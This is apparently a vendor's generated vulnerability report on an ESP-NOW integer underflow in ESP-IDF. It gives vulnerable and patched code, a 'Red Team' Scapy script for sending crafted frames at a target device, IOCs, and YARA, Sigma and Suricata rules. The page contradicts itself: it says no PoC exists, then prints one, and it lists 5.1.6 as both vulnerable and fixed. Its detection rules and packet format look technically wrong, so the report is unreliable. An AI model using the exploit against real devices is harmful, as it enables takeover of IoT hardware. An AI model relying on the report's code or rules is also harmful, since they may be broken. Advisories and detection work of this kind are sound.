CVE-2025-52471
Executive Summary
CVE-2025-52471 is a critical integer underflow vulnerability in the ESP-NOW protocol implementation within the Espressif IoT Development Framework (ESP-IDF). The flaw resides in the packet receive function, where insufficient validation of user-supplied data length can lead to out-of-bounds memory access and arbitrary memory write operations. On systems without memory protection (e.g., ESP32, ESP8266), this could enable remote code execution (RCE). The vulnerability affects ESP-IDF versions 5.4.1, 5.3.3, 5.2.5, and 5.1.6. Patches are available in versions 5.4.2, 5.3.4, 5.2.6, and 5.1.6. No public proof-of-concept (PoC) or exploit code has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is embedded in the ESP-IDF framework, which is distributed as a software development kit (SDK) for IoT devices. The ESP-NOW protocol is a core component of the ESP-WiFi stack. Compromised firmware built with vulnerable ESP-IDF versions can be distributed through official Espressif channels or third-party package managers (e.g., PlatformIO, Arduino ESP32 core). Developers must ensure they are using patched versions of ESP-IDF to avoid shipping vulnerable devices.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The vulnerability is remotely exploitable without authentication, making it highly dangerous for IoT deployments. Successful exploitation could allow an attacker to take full control of the device.
Deep Dive & Mechanics
The vulnerability is an integer underflow (CWE-191) in the ESP-NOW packet receive function. When a malicious ESP-NOW packet is crafted with a data_len field that is zero or negative (due to signed integer handling), the internal length calculation can underflow, resulting in a very large positive value. This causes the subsequent memory copy operation to read or write beyond the allocated buffer boundaries.
Root Cause: The esp_now_recv_cb() callback does not validate that data_len is a positive value before using it in memory operations. In the vulnerable code, data_len is treated as a signed integer, and a negative value can bypass length checks, leading to an out-of-bounds write.
Attack Vector: An attacker within Wi-Fi range can send a crafted ESP-NOW packet with a manipulated data_len field. The target device, running a vulnerable ESP-IDF version, will process the packet and trigger the underflow, potentially allowing arbitrary memory write.
Impact: On devices without memory protection (e.g., ESP32, ESP8266), this can lead to arbitrary code execution. On systems with MPU/MMU, it may cause a denial of service (crash) or information disclosure.
Vulnerable vs. Patched Code
Vulnerable Code (ESP-IDF < 5.4.2):
// In esp_now_recv_cb() - simplified
void esp_now_recv_cb(const uint8_t *mac_addr, const uint8_t *data, int data_len) {
// No validation of data_len
uint8_t *buffer = malloc(data_len); // data_len could be negative -> underflow
memcpy(buffer, data, data_len); // out-of-bounds write
}
Patched Code (ESP-IDF >= 5.4.2):
// In esp_now_recv_cb() - simplified
void esp_now_recv_cb(const uint8_t *mac_addr, const uint8_t *data, int data_len) {
// Validation added
if (data_len <= 0) {
ESP_LOGE("ESP-NOW", "Invalid data length: %d", data_len);
return;
}
uint8_t *buffer = malloc(data_len);
if (buffer == NULL) {
ESP_LOGE("ESP-NOW", "Memory allocation failed");
return;
}
memcpy(buffer, data, data_len);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Two ESP32 devices (one attacker, one victim) with vulnerable ESP-IDF (e.g., v5.4.1).
- Wi-Fi adapter capable of monitor mode (e.g., Atheros AR9271).
- Python 3.x with
scapylibrary.
Lab Setup:
- Flash victim ESP32 with vulnerable ESP-IDF firmware that uses ESP-NOW.
- Attacker ESP32 runs a custom script to send crafted ESP-NOW packets.
Exploit Script (Python with Scapy):
from scapy.all import *
import struct
# Craft ESP-NOW packet with negative data_len
# ESP-NOW header: 6 bytes MAC + 2 bytes length + payload
def craft_exploit_packet(target_mac):
# data_len = -1 (0xFFFFFFFF as signed int)
negative_len = struct.pack('<h', -1) # 2 bytes signed short
payload = b'A' * 100 # arbitrary payload
packet = RadioTap() / Dot11(addr1=target_mac, addr2='00:11:22:33:44:55', addr3='00:11:22:33:44:55') / \
LLC(dsap=0xAA, ssap=0xAA, ctrl=0x03) / SNAP(OUI=0x000000, code=0x0800) / \
Raw(load=negative_len + payload)
return packet
target_mac = 'AA:BB:CC:DD:EE:FF'
exploit = craft_exploit_packet(target_mac)
sendp(exploit, iface='wlan0mon', count=1)
Expected Outcome: The victim device crashes or executes arbitrary code if memory protection is absent.
Blue Team (Defense)
Detection:
- Monitor ESP-NOW packet lengths in network traffic.
- Use ESP-IDF logging to detect invalid
data_lenvalues. - Implement application-level validation as a workaround (for v5.3 and earlier).
Mitigation:
- Upgrade to patched ESP-IDF versions (5.4.2, 5.3.4, 5.2.6, 5.1.6).
- For v5.3 and earlier, add validation in the RX callback:
void recv_cb(const uint8_t *mac, const uint8_t *data, int len) {
if (len <= 0) {
ESP_LOGE("APP", "Invalid length: %d", len);
return;
}
// Process data
}
Indicators of Compromise (IOCs)
- Network IOCs:
- ESP-NOW packets with
data_lenfield set to 0 or negative values (e.g., 0xFFFF). - Unusual Wi-Fi frames with malformed ESP-NOW headers.
- ESP-NOW packets with
- Host IOCs:
- ESP32 crash logs showing memory access violations.
- Unexpected memory writes in heap or stack regions.
- ESP-IDF log entries:
E (xxxxx) ESP-NOW: Invalid data length: -1
- File IOCs:
- Firmware images built with vulnerable ESP-IDF versions (5.4.1, 5.3.3, 5.2.5, 5.1.6).
Detection Engineering
YARA Rule
rule CVE_2025_52471_ESP_NOW_Integer_Underflow {
meta:
description = "Detects vulnerable ESP-NOW code patterns in ESP-IDF firmware"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-52471"
strings:
$vuln_func = "esp_now_recv_cb"
$vuln_pattern = { 8B ?? 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 04 } // mov eax, [esp+offset]; push eax; call malloc; add esp,4
$safe_pattern = { 83 F8 00 7E ?? } // cmp eax,0; jle ...
condition:
$vuln_func and $vuln_pattern and not $safe_pattern
}
Sigma Rule
title: CVE-2025-52471 ESP-NOW Integer Underflow Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network packets with malformed ESP-NOW data_len field
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: wifi
detection:
selection:
- protocol: "ESP-NOW"
- field: "data_len"
value: 0
- field: "data_len"
value: -1
condition: selection
falsepositives:
- Legitimate ESP-NOW packets with zero-length data (rare)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-52471 ESP-NOW Integer Underflow Attempt"; flow:to_server; content:"|00 00|"; offset:6; depth:2; content:"|FF FF|"; within:2; reference:cve,2025-52471; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade ESP-IDF to patched versions: 5.4.2, 5.3.4, 5.2.6, or 5.1.6.
- For ESP-IDF v5.3 and earlier, apply the workaround by validating
data_lenin the RX callback. - Rebuild and redeploy firmware to all affected devices.
Long-Term Measures:
- Implement memory protection (e.g., ESP32 MPU) to mitigate RCE impact.
- Use signed firmware updates to prevent tampering.
- Monitor network for anomalous ESP-NOW traffic.
- Conduct regular security audits of IoT firmware.
Workaround Code (for v5.3 and earlier):
void recv_cb(const uint8_t *mac, const uint8_t *data, int len) {
if (len <= 0) {
ESP_LOGE("APP", "Invalid length: %d", len);
return;
}
// Safe processing
}
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-52471